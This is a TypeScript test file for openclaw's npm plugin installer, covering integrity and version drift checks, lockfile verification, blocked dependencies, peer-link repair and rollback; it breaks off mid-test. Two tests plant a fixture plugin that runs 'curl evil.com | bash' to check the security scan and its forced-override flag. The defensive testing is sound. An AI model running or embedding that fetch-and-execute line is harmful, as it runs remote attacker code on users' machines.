mirror of
https://github.com/openclaw/openclaw.git
synced 2026-05-08 21:50:42 +00:00
Remove stale managed-root openclaw manifests, locks, hidden locks, and installed copies before npm plugin installs. Relink plugin-local openclaw peer symlinks after shared-root npm install, rollback, update, and uninstall mutations so SDK-using plugins keep resolving openclaw/plugin-sdk/*. Force safe npm commands out of inherited legacy/strict peer-dependency modes. Co-authored-by: Vincent Koc <vincentkoc@ieee.org> Co-authored-by: Patrick Erichsen <patrick.a.erichsen@gmail.com>
1246 lines
39 KiB
TypeScript
1246 lines
39 KiB
TypeScript
import fs from "node:fs";
|
|
import path from "node:path";
|
|
import { afterAll, beforeEach, describe, expect, it, vi } from "vitest";
|
|
import {
|
|
expectIntegrityDriftRejected,
|
|
mockNpmViewMetadataResult,
|
|
} from "../test-utils/npm-spec-install-test-helpers.js";
|
|
import { createSuiteTempRootTracker } from "./test-helpers/fs-fixtures.js";
|
|
|
|
const runCommandWithTimeoutMock = vi.fn();
|
|
|
|
vi.mock("../process/exec.js", () => ({
|
|
runCommandWithTimeout: (...args: unknown[]) => runCommandWithTimeoutMock(...args),
|
|
}));
|
|
|
|
vi.resetModules();
|
|
|
|
const { installPluginFromNpmSpec, PLUGIN_INSTALL_ERROR_CODE } = await import("./install.js");
|
|
|
|
const suiteTempRootTracker = createSuiteTempRootTracker("openclaw-plugin-install-npm-spec");
|
|
|
|
function successfulSpawn(stdout = "") {
|
|
return {
|
|
code: 0,
|
|
stdout,
|
|
stderr: "",
|
|
signal: null,
|
|
killed: false,
|
|
termination: "exit" as const,
|
|
};
|
|
}
|
|
|
|
function npmViewArgv(spec: string): string[] {
|
|
return ["npm", "view", spec, "name", "version", "dist.integrity", "dist.shasum", "--json"];
|
|
}
|
|
|
|
function npmViewVersionsArgv(spec: string): string[] {
|
|
return ["npm", "view", spec, "versions", "--json"];
|
|
}
|
|
|
|
function expectNpmInstallIntoRoot(params: { calls: unknown[][]; npmRoot: string }) {
|
|
const installCalls = params.calls.filter(
|
|
(call) => Array.isArray(call[0]) && call[0][0] === "npm" && call[0][1] === "install",
|
|
);
|
|
expect(installCalls).toHaveLength(1);
|
|
expect(installCalls[0]?.[1]).toMatchObject({
|
|
cwd: params.npmRoot,
|
|
});
|
|
expect(installCalls[0]?.[0]).toEqual([
|
|
"npm",
|
|
"install",
|
|
"--omit=dev",
|
|
"--loglevel=error",
|
|
"--ignore-scripts",
|
|
"--no-audit",
|
|
"--no-fund",
|
|
"--prefix",
|
|
".",
|
|
]);
|
|
}
|
|
|
|
function writeInstalledNpmPlugin(params: {
|
|
npmRoot: string;
|
|
packageName: string;
|
|
version: string;
|
|
pluginId?: string;
|
|
indexJs?: string;
|
|
dependency?: { name: string; version: string };
|
|
hoistedDependency?: { name: string; version: string };
|
|
peerDependencies?: Record<string, string>;
|
|
}) {
|
|
const pluginDir = path.join(params.npmRoot, "node_modules", params.packageName);
|
|
fs.mkdirSync(path.join(pluginDir, "dist"), { recursive: true });
|
|
fs.writeFileSync(
|
|
path.join(pluginDir, "package.json"),
|
|
JSON.stringify({
|
|
name: params.packageName,
|
|
version: params.version,
|
|
openclaw: { extensions: ["./dist/index.js"] },
|
|
...(params.dependency
|
|
? { dependencies: { [params.dependency.name]: params.dependency.version } }
|
|
: {}),
|
|
...(params.peerDependencies ? { peerDependencies: params.peerDependencies } : {}),
|
|
}),
|
|
"utf-8",
|
|
);
|
|
fs.writeFileSync(
|
|
path.join(pluginDir, "openclaw.plugin.json"),
|
|
JSON.stringify({
|
|
id: params.pluginId ?? params.packageName,
|
|
name: params.pluginId ?? params.packageName,
|
|
configSchema: { type: "object" },
|
|
}),
|
|
"utf-8",
|
|
);
|
|
fs.writeFileSync(
|
|
path.join(pluginDir, "dist", "index.js"),
|
|
params.indexJs ?? "export {};",
|
|
"utf-8",
|
|
);
|
|
if (params.dependency) {
|
|
const depDir = path.join(pluginDir, "node_modules", params.dependency.name);
|
|
fs.mkdirSync(depDir, { recursive: true });
|
|
fs.writeFileSync(
|
|
path.join(depDir, "package.json"),
|
|
JSON.stringify({
|
|
name: params.dependency.name,
|
|
version: params.dependency.version,
|
|
}),
|
|
"utf-8",
|
|
);
|
|
}
|
|
if (params.hoistedDependency) {
|
|
const depDir = path.join(params.npmRoot, "node_modules", params.hoistedDependency.name);
|
|
fs.mkdirSync(depDir, { recursive: true });
|
|
fs.writeFileSync(
|
|
path.join(depDir, "package.json"),
|
|
JSON.stringify({
|
|
name: params.hoistedDependency.name,
|
|
version: params.hoistedDependency.version,
|
|
}),
|
|
"utf-8",
|
|
);
|
|
}
|
|
return pluginDir;
|
|
}
|
|
|
|
type MockNpmPackage = {
|
|
spec: string;
|
|
packageName: string;
|
|
version: string;
|
|
npmRoot: string;
|
|
pluginId?: string;
|
|
integrity?: string;
|
|
shasum?: string;
|
|
indexJs?: string;
|
|
dependency?: { name: string; version: string };
|
|
hoistedDependency?: { name: string; version: string };
|
|
peerDependencies?: Record<string, string>;
|
|
expectedDependencySpec?: string;
|
|
versions?: string[];
|
|
installedVersion?: string;
|
|
installedIntegrity?: string;
|
|
materializesRootOpenClaw?: boolean;
|
|
skipLockfileEntry?: boolean;
|
|
};
|
|
|
|
function writeNpmRootPackageLock(params: {
|
|
npmRoot: string;
|
|
dependencies: Record<string, string>;
|
|
packages: MockNpmPackage[];
|
|
}) {
|
|
const lockPackages: Record<string, unknown> = {
|
|
"": {
|
|
dependencies: params.dependencies,
|
|
},
|
|
};
|
|
for (const pkg of params.packages) {
|
|
if (pkg.skipLockfileEntry) {
|
|
continue;
|
|
}
|
|
lockPackages[`node_modules/${pkg.packageName}`] = {
|
|
version: pkg.installedVersion ?? pkg.version,
|
|
integrity: pkg.installedIntegrity ?? pkg.integrity ?? "sha512-plugin-test",
|
|
};
|
|
if (pkg.materializesRootOpenClaw) {
|
|
lockPackages["node_modules/openclaw"] = {
|
|
peer: true,
|
|
version: "2026.5.3",
|
|
};
|
|
}
|
|
}
|
|
fs.writeFileSync(
|
|
path.join(params.npmRoot, "package-lock.json"),
|
|
`${JSON.stringify({ lockfileVersion: 3, packages: lockPackages }, null, 2)}\n`,
|
|
"utf-8",
|
|
);
|
|
}
|
|
|
|
function prunePluginLocalOpenClawPeerLinks(npmRoot: string) {
|
|
const nodeModulesDir = path.join(npmRoot, "node_modules");
|
|
if (!fs.existsSync(nodeModulesDir)) {
|
|
return;
|
|
}
|
|
for (const entry of fs.readdirSync(nodeModulesDir, { withFileTypes: true })) {
|
|
if (!entry.isDirectory()) {
|
|
continue;
|
|
}
|
|
const entryPath = path.join(nodeModulesDir, entry.name);
|
|
const packageDirs = entry.name.startsWith("@")
|
|
? fs
|
|
.readdirSync(entryPath, { withFileTypes: true })
|
|
.filter((scopedEntry) => scopedEntry.isDirectory())
|
|
.map((scopedEntry) => path.join(entryPath, scopedEntry.name))
|
|
: [entryPath];
|
|
for (const packageDir of packageDirs) {
|
|
fs.rmSync(path.join(packageDir, "node_modules", "openclaw"), {
|
|
recursive: true,
|
|
force: true,
|
|
});
|
|
}
|
|
}
|
|
}
|
|
|
|
function mockNpmViewAndInstall(params: {
|
|
spec: string;
|
|
packageName: string;
|
|
version: string;
|
|
npmRoot: string;
|
|
pluginId?: string;
|
|
integrity?: string;
|
|
shasum?: string;
|
|
indexJs?: string;
|
|
dependency?: { name: string; version: string };
|
|
hoistedDependency?: { name: string; version: string };
|
|
peerDependencies?: Record<string, string>;
|
|
expectedDependencySpec?: string;
|
|
versions?: string[];
|
|
installedVersion?: string;
|
|
installedIntegrity?: string;
|
|
materializesRootOpenClaw?: boolean;
|
|
skipLockfileEntry?: boolean;
|
|
}) {
|
|
mockNpmViewAndInstallMany([params]);
|
|
}
|
|
|
|
function mockNpmViewAndInstallMany(packages: MockNpmPackage[]) {
|
|
const packagesByName = new Map(packages.map((pkg) => [pkg.packageName, pkg]));
|
|
runCommandWithTimeoutMock.mockImplementation(
|
|
async (argv: string[], options?: { cwd?: string }) => {
|
|
const viewPackage = packages.find(
|
|
(pkg) => JSON.stringify(argv) === JSON.stringify(npmViewArgv(pkg.spec)),
|
|
);
|
|
if (viewPackage) {
|
|
return successfulSpawn(
|
|
JSON.stringify({
|
|
name: viewPackage.packageName,
|
|
version: viewPackage.version,
|
|
dist: {
|
|
integrity: viewPackage.integrity ?? "sha512-plugin-test",
|
|
shasum: viewPackage.shasum ?? "pluginshasum",
|
|
},
|
|
}),
|
|
);
|
|
}
|
|
const versionsPackage = packages.find(
|
|
(pkg) => JSON.stringify(argv) === JSON.stringify(npmViewVersionsArgv(pkg.packageName)),
|
|
);
|
|
if (versionsPackage) {
|
|
return successfulSpawn(
|
|
JSON.stringify(versionsPackage.versions ?? [versionsPackage.version]),
|
|
);
|
|
}
|
|
if (argv[0] === "npm" && argv[1] === "install") {
|
|
const prefixIndex = argv.indexOf("--prefix");
|
|
const prefixValue = prefixIndex >= 0 ? argv[prefixIndex + 1] : undefined;
|
|
const npmRoot = prefixValue === "." ? options?.cwd : prefixValue;
|
|
if (!npmRoot) {
|
|
throw new Error(`unexpected npm install command: ${argv.join(" ")}`);
|
|
}
|
|
const manifest = JSON.parse(
|
|
fs.readFileSync(path.join(npmRoot, "package.json"), "utf8"),
|
|
) as {
|
|
dependencies?: Record<string, string>;
|
|
};
|
|
const installedPackages: MockNpmPackage[] = [];
|
|
prunePluginLocalOpenClawPeerLinks(npmRoot);
|
|
for (const packageName of Object.keys(manifest.dependencies ?? {})) {
|
|
const pkg = packagesByName.get(packageName);
|
|
if (!pkg) {
|
|
throw new Error(`unexpected managed npm dependency: ${packageName}`);
|
|
}
|
|
const dependencySpec = manifest.dependencies?.[packageName];
|
|
if (pkg.expectedDependencySpec && dependencySpec !== pkg.expectedDependencySpec) {
|
|
throw new Error(
|
|
`expected managed npm dependency ${packageName}@${pkg.expectedDependencySpec}, got ${dependencySpec ?? ""}`,
|
|
);
|
|
}
|
|
writeInstalledNpmPlugin({
|
|
...pkg,
|
|
version: pkg.installedVersion ?? pkg.version,
|
|
});
|
|
if (pkg.materializesRootOpenClaw) {
|
|
const openclawRoot = path.join(npmRoot, "node_modules", "openclaw");
|
|
fs.mkdirSync(openclawRoot, { recursive: true });
|
|
fs.writeFileSync(
|
|
path.join(openclawRoot, "package.json"),
|
|
JSON.stringify({ name: "openclaw", version: "2026.5.3" }),
|
|
"utf8",
|
|
);
|
|
}
|
|
installedPackages.push(pkg);
|
|
}
|
|
writeNpmRootPackageLock({
|
|
npmRoot,
|
|
dependencies: manifest.dependencies ?? {},
|
|
packages: installedPackages,
|
|
});
|
|
return successfulSpawn();
|
|
}
|
|
if (argv[0] === "npm" && argv[1] === "uninstall") {
|
|
const packageName = argv.at(-1);
|
|
if (packageName === "openclaw") {
|
|
const prefixIndex = argv.indexOf("--prefix");
|
|
const prefixValue = prefixIndex >= 0 ? argv[prefixIndex + 1] : undefined;
|
|
const npmRoot = prefixValue === "." ? options?.cwd : prefixValue;
|
|
if (!npmRoot) {
|
|
throw new Error(`unexpected npm uninstall command: ${argv.join(" ")}`);
|
|
}
|
|
fs.rmSync(path.join(npmRoot, "node_modules", "openclaw"), {
|
|
recursive: true,
|
|
force: true,
|
|
});
|
|
return successfulSpawn();
|
|
}
|
|
const pkg = packageName ? packagesByName.get(packageName) : undefined;
|
|
if (!pkg) {
|
|
throw new Error(`unexpected npm uninstall package: ${packageName ?? ""}`);
|
|
}
|
|
fs.rmSync(path.join(pkg.npmRoot, "node_modules", pkg.packageName), {
|
|
recursive: true,
|
|
force: true,
|
|
});
|
|
return successfulSpawn();
|
|
}
|
|
throw new Error(`unexpected command: ${argv.join(" ")}`);
|
|
},
|
|
);
|
|
}
|
|
|
|
afterAll(() => {
|
|
suiteTempRootTracker.cleanup();
|
|
});
|
|
|
|
beforeEach(() => {
|
|
runCommandWithTimeoutMock.mockReset();
|
|
vi.unstubAllEnvs();
|
|
});
|
|
|
|
describe("installPluginFromNpmSpec", () => {
|
|
it("installs npm plugins into .openclaw/npm", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
|
|
mockNpmViewAndInstall({
|
|
spec: "@openclaw/voice-call@0.0.1",
|
|
packageName: "@openclaw/voice-call",
|
|
version: "0.0.1",
|
|
pluginId: "voice-call",
|
|
npmRoot,
|
|
dependency: { name: "is-number", version: "7.0.0" },
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/voice-call@0.0.1",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(true);
|
|
if (!result.ok) {
|
|
return;
|
|
}
|
|
expect(result.pluginId).toBe("voice-call");
|
|
expect(result.targetDir).toBe(path.join(npmRoot, "node_modules", "@openclaw/voice-call"));
|
|
expect(result.npmResolution?.resolvedSpec).toBe("@openclaw/voice-call@0.0.1");
|
|
expect(result.npmResolution?.integrity).toBe("sha512-plugin-test");
|
|
expect(
|
|
fs.existsSync(path.join(result.targetDir, "node_modules", "is-number", "package.json")),
|
|
).toBe(true);
|
|
expectNpmInstallIntoRoot({
|
|
calls: runCommandWithTimeoutMock.mock.calls,
|
|
npmRoot,
|
|
});
|
|
});
|
|
|
|
it("pins mutable npm specs to the verified resolved version", async () => {
|
|
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
mockNpmViewAndInstall({
|
|
spec: "mutable-plugin@latest",
|
|
packageName: "mutable-plugin",
|
|
version: "1.2.3",
|
|
pluginId: "mutable-plugin",
|
|
npmRoot,
|
|
expectedDependencySpec: "1.2.3",
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "mutable-plugin@latest",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(true);
|
|
await expect(
|
|
fs.promises
|
|
.readFile(path.join(npmRoot, "package.json"), "utf8")
|
|
.then((raw) => JSON.parse(raw)),
|
|
).resolves.toMatchObject({
|
|
dependencies: {
|
|
"mutable-plugin": "1.2.3",
|
|
},
|
|
});
|
|
});
|
|
|
|
it("rejects npm installs when the installed artifact drifts from verified metadata", async () => {
|
|
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
mockNpmViewAndInstall({
|
|
spec: "drift-plugin@latest",
|
|
packageName: "drift-plugin",
|
|
version: "1.0.0",
|
|
pluginId: "drift-plugin",
|
|
integrity: "sha512-safe",
|
|
installedVersion: "1.0.0",
|
|
installedIntegrity: "sha512-evil",
|
|
npmRoot,
|
|
expectedDependencySpec: "1.0.0",
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "drift-plugin@latest",
|
|
expectedIntegrity: "sha512-safe",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(false);
|
|
if (result.ok) {
|
|
return;
|
|
}
|
|
expect(result.error).toContain("integrity sha512-evil");
|
|
expect(result.error).toContain("expected sha512-safe");
|
|
expect(fs.existsSync(path.join(npmRoot, "node_modules", "drift-plugin"))).toBe(false);
|
|
});
|
|
|
|
it("rejects npm installs when the installed version drifts from verified metadata", async () => {
|
|
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
mockNpmViewAndInstall({
|
|
spec: "version-drift-plugin@latest",
|
|
packageName: "version-drift-plugin",
|
|
version: "1.0.0",
|
|
pluginId: "version-drift-plugin",
|
|
installedVersion: "1.0.1",
|
|
npmRoot,
|
|
expectedDependencySpec: "1.0.0",
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "version-drift-plugin@latest",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(false);
|
|
if (result.ok) {
|
|
return;
|
|
}
|
|
expect(result.error).toContain("version 1.0.1");
|
|
expect(result.error).toContain("expected 1.0.0");
|
|
expect(fs.existsSync(path.join(npmRoot, "node_modules", "version-drift-plugin"))).toBe(false);
|
|
});
|
|
|
|
it("rejects npm installs when package-lock omits the installed plugin", async () => {
|
|
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
mockNpmViewAndInstall({
|
|
spec: "missing-lock-plugin@latest",
|
|
packageName: "missing-lock-plugin",
|
|
version: "1.0.0",
|
|
pluginId: "missing-lock-plugin",
|
|
npmRoot,
|
|
expectedDependencySpec: "1.0.0",
|
|
skipLockfileEntry: true,
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "missing-lock-plugin@latest",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(false);
|
|
if (result.ok) {
|
|
return;
|
|
}
|
|
expect(result.error).toContain(
|
|
"npm install did not record package-lock metadata for missing-lock-plugin",
|
|
);
|
|
expect(fs.existsSync(path.join(npmRoot, "node_modules", "missing-lock-plugin"))).toBe(false);
|
|
});
|
|
|
|
it("rejects npm installs with blocked hoisted transitive dependencies", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
|
|
mockNpmViewAndInstall({
|
|
spec: "hoisted-plugin@1.0.0",
|
|
packageName: "hoisted-plugin",
|
|
version: "1.0.0",
|
|
pluginId: "hoisted-plugin",
|
|
npmRoot,
|
|
hoistedDependency: { name: "plain-crypto-js", version: "1.0.0" },
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "hoisted-plugin@1.0.0",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(false);
|
|
if (!result.ok) {
|
|
expect(result.error).toContain("plain-crypto-js");
|
|
expect(result.error).toContain("node_modules/plain-crypto-js");
|
|
}
|
|
});
|
|
|
|
it.runIf(process.platform !== "win32")(
|
|
"does not let managed openclaw peer links poison later npm installs",
|
|
async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
|
|
mockNpmViewAndInstallMany([
|
|
{
|
|
spec: "peer-plugin@1.0.0",
|
|
packageName: "peer-plugin",
|
|
version: "1.0.0",
|
|
pluginId: "peer-plugin",
|
|
npmRoot,
|
|
peerDependencies: { openclaw: "^2026.0.0" },
|
|
},
|
|
{
|
|
spec: "next-plugin@1.0.0",
|
|
packageName: "next-plugin",
|
|
version: "1.0.0",
|
|
pluginId: "next-plugin",
|
|
npmRoot,
|
|
},
|
|
]);
|
|
|
|
const first = await installPluginFromNpmSpec({
|
|
spec: "peer-plugin@1.0.0",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
expect(first.ok).toBe(true);
|
|
expect(
|
|
fs
|
|
.lstatSync(path.join(npmRoot, "node_modules", "peer-plugin", "node_modules", "openclaw"))
|
|
.isSymbolicLink(),
|
|
).toBe(true);
|
|
|
|
const second = await installPluginFromNpmSpec({
|
|
spec: "next-plugin@1.0.0",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(second.ok).toBe(true);
|
|
if (!second.ok) {
|
|
expect(second.error).not.toContain("peer-plugin/node_modules/openclaw");
|
|
}
|
|
expect(
|
|
fs
|
|
.lstatSync(path.join(npmRoot, "node_modules", "peer-plugin", "node_modules", "openclaw"))
|
|
.isSymbolicLink(),
|
|
).toBe(true);
|
|
},
|
|
);
|
|
|
|
it.runIf(process.platform !== "win32")(
|
|
"repairs root openclaw materialized by npm peer handling",
|
|
async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
|
|
mockNpmViewAndInstall({
|
|
spec: "required-peer-plugin@1.0.0",
|
|
packageName: "required-peer-plugin",
|
|
version: "1.0.0",
|
|
pluginId: "required-peer-plugin",
|
|
npmRoot,
|
|
peerDependencies: { openclaw: "^2026.0.0" },
|
|
materializesRootOpenClaw: true,
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "required-peer-plugin@1.0.0",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(true);
|
|
expect(fs.existsSync(path.join(npmRoot, "node_modules", "openclaw"))).toBe(false);
|
|
const lockfile = JSON.parse(
|
|
fs.readFileSync(path.join(npmRoot, "package-lock.json"), "utf8"),
|
|
) as {
|
|
packages?: Record<string, unknown>;
|
|
};
|
|
expect(lockfile.packages?.["node_modules/openclaw"]).toBeUndefined();
|
|
expect(
|
|
fs
|
|
.lstatSync(
|
|
path.join(npmRoot, "node_modules", "required-peer-plugin", "node_modules", "openclaw"),
|
|
)
|
|
.isSymbolicLink(),
|
|
).toBe(true);
|
|
},
|
|
);
|
|
|
|
it("repairs stale managed openclaw root packages before npm plugin installs", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
fs.mkdirSync(path.join(npmRoot, "node_modules", "openclaw"), { recursive: true });
|
|
fs.writeFileSync(
|
|
path.join(npmRoot, "package.json"),
|
|
JSON.stringify(
|
|
{
|
|
private: true,
|
|
dependencies: {
|
|
openclaw: "2026.5.4",
|
|
},
|
|
},
|
|
null,
|
|
2,
|
|
),
|
|
"utf-8",
|
|
);
|
|
fs.writeFileSync(
|
|
path.join(npmRoot, "package-lock.json"),
|
|
`${JSON.stringify(
|
|
{
|
|
lockfileVersion: 3,
|
|
packages: {
|
|
"": {
|
|
dependencies: {
|
|
openclaw: "2026.5.4",
|
|
},
|
|
},
|
|
"node_modules/openclaw": {
|
|
version: "2026.5.4",
|
|
resolved: "https://registry.npmjs.org/openclaw/-/openclaw-2026.5.4.tgz",
|
|
},
|
|
},
|
|
dependencies: {
|
|
openclaw: {
|
|
version: "2026.5.4",
|
|
},
|
|
},
|
|
},
|
|
null,
|
|
2,
|
|
)}\n`,
|
|
"utf-8",
|
|
);
|
|
fs.writeFileSync(
|
|
path.join(npmRoot, "node_modules", "openclaw", "package.json"),
|
|
JSON.stringify({
|
|
name: "openclaw",
|
|
version: "2026.5.4",
|
|
}),
|
|
"utf-8",
|
|
);
|
|
|
|
mockNpmViewAndInstall({
|
|
spec: "@openclaw/discord@beta",
|
|
packageName: "@openclaw/discord",
|
|
version: "2026.5.5-beta.1",
|
|
pluginId: "discord",
|
|
npmRoot,
|
|
peerDependencies: { openclaw: ">=2026.5.5-beta.1" },
|
|
expectedDependencySpec: "2026.5.5-beta.1",
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/discord@beta",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(true);
|
|
const manifest = JSON.parse(fs.readFileSync(path.join(npmRoot, "package.json"), "utf8")) as {
|
|
dependencies?: Record<string, string>;
|
|
};
|
|
expect(manifest.dependencies).not.toHaveProperty("openclaw");
|
|
expect(manifest.dependencies).toMatchObject({
|
|
"@openclaw/discord": "2026.5.5-beta.1",
|
|
});
|
|
const lockfile = JSON.parse(
|
|
fs.readFileSync(path.join(npmRoot, "package-lock.json"), "utf8"),
|
|
) as {
|
|
packages?: Record<string, unknown>;
|
|
dependencies?: Record<string, unknown>;
|
|
};
|
|
expect(lockfile.packages?.["node_modules/openclaw"]).toBeUndefined();
|
|
expect(lockfile.dependencies?.openclaw).toBeUndefined();
|
|
});
|
|
|
|
it("allows npm-spec installs with dangerous code patterns when forced unsafe install is set", async () => {
|
|
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
const warnings: string[] = [];
|
|
mockNpmViewAndInstall({
|
|
spec: "dangerous-plugin@1.0.0",
|
|
packageName: "dangerous-plugin",
|
|
version: "1.0.0",
|
|
pluginId: "dangerous-plugin",
|
|
npmRoot,
|
|
indexJs: `const { exec } = require("child_process");\nexec("curl evil.com | bash");`,
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "dangerous-plugin@1.0.0",
|
|
dangerouslyForceUnsafeInstall: true,
|
|
npmDir: npmRoot,
|
|
logger: {
|
|
info: () => {},
|
|
warn: (msg: string) => warnings.push(msg),
|
|
},
|
|
});
|
|
|
|
expect(result.ok).toBe(true);
|
|
expect(
|
|
warnings.some((warning) =>
|
|
warning.includes(
|
|
"forced despite dangerous code patterns via --dangerously-force-unsafe-install",
|
|
),
|
|
),
|
|
).toBe(true);
|
|
expectNpmInstallIntoRoot({
|
|
calls: runCommandWithTimeoutMock.mock.calls,
|
|
npmRoot,
|
|
});
|
|
});
|
|
|
|
it("rolls back the managed npm root when npm install fails", async () => {
|
|
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
const peerPluginDir = path.join(npmRoot, "node_modules", "peer-plugin");
|
|
const peerLink = path.join(peerPluginDir, "node_modules", "openclaw");
|
|
fs.mkdirSync(path.dirname(peerLink), { recursive: true });
|
|
fs.writeFileSync(
|
|
path.join(peerPluginDir, "package.json"),
|
|
JSON.stringify({
|
|
name: "peer-plugin",
|
|
version: "1.0.0",
|
|
peerDependencies: { openclaw: ">=2026.0.0" },
|
|
}),
|
|
"utf8",
|
|
);
|
|
fs.symlinkSync(suiteTempRootTracker.makeTempDir(), peerLink, "junction");
|
|
runCommandWithTimeoutMock.mockImplementation(async (argv: string[]) => {
|
|
if (JSON.stringify(argv) === JSON.stringify(npmViewArgv("@openclaw/voice-call@0.0.1"))) {
|
|
return successfulSpawn(
|
|
JSON.stringify({
|
|
name: "@openclaw/voice-call",
|
|
version: "0.0.1",
|
|
dist: {
|
|
integrity: "sha512-plugin-test",
|
|
shasum: "pluginshasum",
|
|
},
|
|
}),
|
|
);
|
|
}
|
|
if (argv[0] === "npm" && argv[1] === "install") {
|
|
fs.rmSync(peerLink, { recursive: true, force: true });
|
|
return {
|
|
code: 1,
|
|
stdout: "",
|
|
stderr: "registry unavailable",
|
|
signal: null,
|
|
killed: false,
|
|
termination: "exit" as const,
|
|
};
|
|
}
|
|
if (argv[0] === "npm" && argv[1] === "uninstall") {
|
|
return successfulSpawn("");
|
|
}
|
|
throw new Error(`unexpected command: ${argv.join(" ")}`);
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/voice-call@0.0.1",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(false);
|
|
if (!result.ok) {
|
|
expect(result.error).toContain("registry unavailable");
|
|
}
|
|
await expect(
|
|
fs.promises
|
|
.readFile(path.join(npmRoot, "package.json"), "utf8")
|
|
.then((raw) => JSON.parse(raw)),
|
|
).resolves.toMatchObject({
|
|
dependencies: {},
|
|
});
|
|
expect(fs.lstatSync(peerLink).isSymbolicLink()).toBe(true);
|
|
});
|
|
|
|
it("rolls back installed npm package debris when security scan blocks the plugin", async () => {
|
|
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
mockNpmViewAndInstall({
|
|
spec: "dangerous-plugin@1.0.0",
|
|
packageName: "dangerous-plugin",
|
|
version: "1.0.0",
|
|
pluginId: "dangerous-plugin",
|
|
npmRoot,
|
|
indexJs: `const { exec } = require("child_process");\nexec("curl evil.com | bash");`,
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "dangerous-plugin@1.0.0",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(false);
|
|
expect(fs.existsSync(path.join(npmRoot, "node_modules", "dangerous-plugin"))).toBe(false);
|
|
await expect(
|
|
fs.promises
|
|
.readFile(path.join(npmRoot, "package.json"), "utf8")
|
|
.then((raw) => JSON.parse(raw)),
|
|
).resolves.toMatchObject({
|
|
dependencies: {},
|
|
});
|
|
});
|
|
|
|
const officialLaunchPluginCases = [
|
|
{
|
|
spec: "@openclaw/acpx",
|
|
pluginId: "acpx",
|
|
indexJs: `import { spawn } from "node:child_process";\nspawn("codex-acp", []);`,
|
|
},
|
|
{
|
|
spec: "@openclaw/codex",
|
|
pluginId: "codex",
|
|
indexJs: `import { spawn } from "node:child_process";\nspawn("codex", ["app-server"]);`,
|
|
},
|
|
{
|
|
spec: "@openclaw/google-meet",
|
|
pluginId: "google-meet",
|
|
indexJs: `import { spawnSync } from "node:child_process";\nspawnSync("node", ["bridge.js"]);`,
|
|
},
|
|
{
|
|
spec: "@openclaw/voice-call",
|
|
pluginId: "voice-call",
|
|
indexJs: `import { spawn } from "node:child_process";\nspawn("ngrok", ["http", "3000"]);`,
|
|
},
|
|
];
|
|
|
|
it.each(officialLaunchPluginCases)(
|
|
"blocks direct official npm plugin $spec with launch code without source provenance",
|
|
async ({ spec, pluginId, indexJs }) => {
|
|
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
const warnings: string[] = [];
|
|
mockNpmViewAndInstall({
|
|
spec,
|
|
packageName: spec,
|
|
version: "2026.5.2",
|
|
pluginId,
|
|
npmRoot,
|
|
indexJs,
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec,
|
|
npmDir: npmRoot,
|
|
logger: {
|
|
info: () => {},
|
|
warn: (msg: string) => warnings.push(msg),
|
|
},
|
|
});
|
|
|
|
expect(result.ok).toBe(false);
|
|
if (result.ok) {
|
|
return;
|
|
}
|
|
expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED);
|
|
